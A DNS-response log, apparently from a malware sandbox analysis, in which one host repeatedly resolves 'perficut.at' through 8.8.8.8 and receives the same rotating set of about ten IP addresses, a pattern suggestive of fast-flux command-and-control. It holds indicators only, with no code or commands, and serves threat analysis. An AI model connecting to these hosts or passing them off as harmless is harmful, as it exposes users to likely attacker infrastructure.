Feb 16, 2023 13:57:38.240427971 CET	8.8.8.8	192.168.2.3	0xc371	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:38.240427971 CET	8.8.8.8	192.168.2.3	0xc371	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:38.240427971 CET	8.8.8.8	192.168.2.3	0xc371	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:38.240427971 CET	8.8.8.8	192.168.2.3	0xc371	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:38.240427971 CET	8.8.8.8	192.168.2.3	0xc371	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:38.240427971 CET	8.8.8.8	192.168.2.3	0xc371	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:38.240427971 CET	8.8.8.8	192.168.2.3	0xc371	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:43.237786055 CET	8.8.8.8	192.168.2.3	0xc9b	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:43.237786055 CET	8.8.8.8	192.168.2.3	0xc9b	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:43.237786055 CET	8.8.8.8	192.168.2.3	0xc9b	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:43.237786055 CET	8.8.8.8	192.168.2.3	0xc9b	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:43.237786055 CET	8.8.8.8	192.168.2.3	0xc9b	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:43.237786055 CET	8.8.8.8	192.168.2.3	0xc9b	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:43.237786055 CET	8.8.8.8	192.168.2.3	0xc9b	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:43.237786055 CET	8.8.8.8	192.168.2.3	0xc9b	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:43.237786055 CET	8.8.8.8	192.168.2.3	0xc9b	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:43.237786055 CET	8.8.8.8	192.168.2.3	0xc9b	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:45.139667034 CET	8.8.8.8	192.168.2.3	0x9aff	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:45.139667034 CET	8.8.8.8	192.168.2.3	0x9aff	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:45.139667034 CET	8.8.8.8	192.168.2.3	0x9aff	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:45.139667034 CET	8.8.8.8	192.168.2.3	0x9aff	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:45.139667034 CET	8.8.8.8	192.168.2.3	0x9aff	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:45.139667034 CET	8.8.8.8	192.168.2.3	0x9aff	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:45.139667034 CET	8.8.8.8	192.168.2.3	0x9aff	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:45.139667034 CET	8.8.8.8	192.168.2.3	0x9aff	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:45.139667034 CET	8.8.8.8	192.168.2.3	0x9aff	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:45.139667034 CET	8.8.8.8	192.168.2.3	0x9aff	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:46.139056921 CET	8.8.8.8	192.168.2.3	0x8462	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:46.139056921 CET	8.8.8.8	192.168.2.3	0x8462	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:46.139056921 CET	8.8.8.8	192.168.2.3	0x8462	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:46.139056921 CET	8.8.8.8	192.168.2.3	0x8462	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:46.139056921 CET	8.8.8.8	192.168.2.3	0x8462	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:46.139056921 CET	8.8.8.8	192.168.2.3	0x8462	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:46.139056921 CET	8.8.8.8	192.168.2.3	0x8462	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:46.139056921 CET	8.8.8.8	192.168.2.3	0x8462	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:46.139056921 CET	8.8.8.8	192.168.2.3	0x8462	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:46.139056921 CET	8.8.8.8	192.168.2.3	0x8462	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:47.208122969 CET	8.8.8.8	192.168.2.3	0x86bf	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:47.208122969 CET	8.8.8.8	192.168.2.3	0x86bf	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:47.208122969 CET	8.8.8.8	192.168.2.3	0x86bf	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:47.208122969 CET	8.8.8.8	192.168.2.3	0x86bf	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:47.208122969 CET	8.8.8.8	192.168.2.3	0x86bf	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:47.208122969 CET	8.8.8.8	192.168.2.3	0x86bf	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:47.208122969 CET	8.8.8.8	192.168.2.3	0x86bf	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:47.208122969 CET	8.8.8.8	192.168.2.3	0x86bf	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:47.208122969 CET	8.8.8.8	192.168.2.3	0x86bf	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:47.208122969 CET	8.8.8.8	192.168.2.3	0x86bf	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:49.221431971 CET	8.8.8.8	192.168.2.3	0x2e65	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:49.221431971 CET	8.8.8.8	192.168.2.3	0x2e65	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:49.221431971 CET	8.8.8.8	192.168.2.3	0x2e65	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:49.221431971 CET	8.8.8.8	192.168.2.3	0x2e65	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:49.221431971 CET	8.8.8.8	192.168.2.3	0x2e65	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:49.221431971 CET	8.8.8.8	192.168.2.3	0x2e65	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:49.221431971 CET	8.8.8.8	192.168.2.3	0x2e65	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:49.221431971 CET	8.8.8.8	192.168.2.3	0x2e65	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:49.221431971 CET	8.8.8.8	192.168.2.3	0x2e65	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:49.221431971 CET	8.8.8.8	192.168.2.3	0x2e65	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:50.848376989 CET	8.8.8.8	192.168.2.3	0x349b	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:50.848376989 CET	8.8.8.8	192.168.2.3	0x349b	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:50.848376989 CET	8.8.8.8	192.168.2.3	0x349b	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:50.848376989 CET	8.8.8.8	192.168.2.3	0x349b	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:50.848376989 CET	8.8.8.8	192.168.2.3	0x349b	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:50.848376989 CET	8.8.8.8	192.168.2.3	0x349b	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:50.848376989 CET	8.8.8.8	192.168.2.3	0x349b	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:50.848376989 CET	8.8.8.8	192.168.2.3	0x349b	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:50.848376989 CET	8.8.8.8	192.168.2.3	0x349b	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:50.848376989 CET	8.8.8.8	192.168.2.3	0x349b	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:53.026612997 CET	8.8.8.8	192.168.2.3	0x85cf	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:53.026612997 CET	8.8.8.8	192.168.2.3	0x85cf	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:53.026612997 CET	8.8.8.8	192.168.2.3	0x85cf	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:53.026612997 CET	8.8.8.8	192.168.2.3	0x85cf	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:53.026612997 CET	8.8.8.8	192.168.2.3	0x85cf	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:53.026612997 CET	8.8.8.8	192.168.2.3	0x85cf	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:53.026612997 CET	8.8.8.8	192.168.2.3	0x85cf	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:53.026612997 CET	8.8.8.8	192.168.2.3	0x85cf	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:53.026612997 CET	8.8.8.8	192.168.2.3	0x85cf	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:53.026612997 CET	8.8.8.8	192.168.2.3	0x85cf	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.106890917 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.106890917 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.106890917 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.106890917 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.106890917 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.106890917 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.106890917 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.106890917 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.106890917 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.106890917 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.305318117 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.305318117 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.305318117 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.305318117 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.305318117 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.305318117 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.305318117 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.305318117 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.305318117 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.305318117 CET	8.8.8.8	192.168.2.3	0x712d	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:56.159486055 CET	8.8.8.8	192.168.2.3	0x255f	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:56.159486055 CET	8.8.8.8	192.168.2.3	0x255f	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:56.159486055 CET	8.8.8.8	192.168.2.3	0x255f	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:56.159486055 CET	8.8.8.8	192.168.2.3	0x255f	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:56.159486055 CET	8.8.8.8	192.168.2.3	0x255f	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:56.159486055 CET	8.8.8.8	192.168.2.3	0x255f	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:56.159486055 CET	8.8.8.8	192.168.2.3	0x255f	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:56.159486055 CET	8.8.8.8	192.168.2.3	0x255f	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:56.159486055 CET	8.8.8.8	192.168.2.3	0x255f	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:56.159486055 CET	8.8.8.8	192.168.2.3	0x255f	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.271723986 CET	8.8.8.8	192.168.2.3	0xf360	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.271723986 CET	8.8.8.8	192.168.2.3	0xf360	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.271723986 CET	8.8.8.8	192.168.2.3	0xf360	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.271723986 CET	8.8.8.8	192.168.2.3	0xf360	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.271723986 CET	8.8.8.8	192.168.2.3	0xf360	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.271723986 CET	8.8.8.8	192.168.2.3	0xf360	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.271723986 CET	8.8.8.8	192.168.2.3	0xf360	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.271723986 CET	8.8.8.8	192.168.2.3	0xf360	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.271723986 CET	8.8.8.8	192.168.2.3	0xf360	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.271723986 CET	8.8.8.8	192.168.2.3	0xf360	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.709223032 CET	8.8.8.8	192.168.2.3	0x7c3	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.709223032 CET	8.8.8.8	192.168.2.3	0x7c3	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.709223032 CET	8.8.8.8	192.168.2.3	0x7c3	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.709223032 CET	8.8.8.8	192.168.2.3	0x7c3	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.709223032 CET	8.8.8.8	192.168.2.3	0x7c3	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.709223032 CET	8.8.8.8	192.168.2.3	0x7c3	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.709223032 CET	8.8.8.8	192.168.2.3	0x7c3	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.709223032 CET	8.8.8.8	192.168.2.3	0x7c3	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.709223032 CET	8.8.8.8	192.168.2.3	0x7c3	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.709223032 CET	8.8.8.8	192.168.2.3	0x7c3	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.204761982 CET	8.8.8.8	192.168.2.3	0xb929	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.204761982 CET	8.8.8.8	192.168.2.3	0xb929	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.204761982 CET	8.8.8.8	192.168.2.3	0xb929	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.204761982 CET	8.8.8.8	192.168.2.3	0xb929	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.204761982 CET	8.8.8.8	192.168.2.3	0xb929	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.204761982 CET	8.8.8.8	192.168.2.3	0xb929	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.204761982 CET	8.8.8.8	192.168.2.3	0xb929	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.204761982 CET	8.8.8.8	192.168.2.3	0xb929	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.204761982 CET	8.8.8.8	192.168.2.3	0xb929	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.204761982 CET	8.8.8.8	192.168.2.3	0xb929	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.649694920 CET	8.8.8.8	192.168.2.3	0x4941	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.649694920 CET	8.8.8.8	192.168.2.3	0x4941	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.649694920 CET	8.8.8.8	192.168.2.3	0x4941	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.649694920 CET	8.8.8.8	192.168.2.3	0x4941	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.649694920 CET	8.8.8.8	192.168.2.3	0x4941	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.649694920 CET	8.8.8.8	192.168.2.3	0x4941	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.649694920 CET	8.8.8.8	192.168.2.3	0x4941	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.649694920 CET	8.8.8.8	192.168.2.3	0x4941	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.649694920 CET	8.8.8.8	192.168.2.3	0x4941	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.649694920 CET	8.8.8.8	192.168.2.3	0x4941	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.075124025 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.075124025 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.075124025 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.075124025 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.075124025 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.075124025 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.075124025 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.075124025 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.075124025 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.075124025 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.142261028 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.142261028 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.142261028 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.142261028 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.142261028 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.142261028 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.142261028 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.142261028 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.142261028 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:01.142261028 CET	8.8.8.8	192.168.2.3	0xe9d7	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:02.366863966 CET	8.8.8.8	192.168.2.3	0xb014	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:02.366863966 CET	8.8.8.8	192.168.2.3	0xb014	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:02.366863966 CET	8.8.8.8	192.168.2.3	0xb014	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:02.366863966 CET	8.8.8.8	192.168.2.3	0xb014	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:02.366863966 CET	8.8.8.8	192.168.2.3	0xb014	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:02.366863966 CET	8.8.8.8	192.168.2.3	0xb014	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:02.366863966 CET	8.8.8.8	192.168.2.3	0xb014	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:02.366863966 CET	8.8.8.8	192.168.2.3	0xb014	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:02.366863966 CET	8.8.8.8	192.168.2.3	0xb014	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:02.366863966 CET	8.8.8.8	192.168.2.3	0xb014	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:04.884341955 CET	8.8.8.8	192.168.2.3	0xf4bc	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:04.884341955 CET	8.8.8.8	192.168.2.3	0xf4bc	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:04.884341955 CET	8.8.8.8	192.168.2.3	0xf4bc	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:04.884341955 CET	8.8.8.8	192.168.2.3	0xf4bc	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
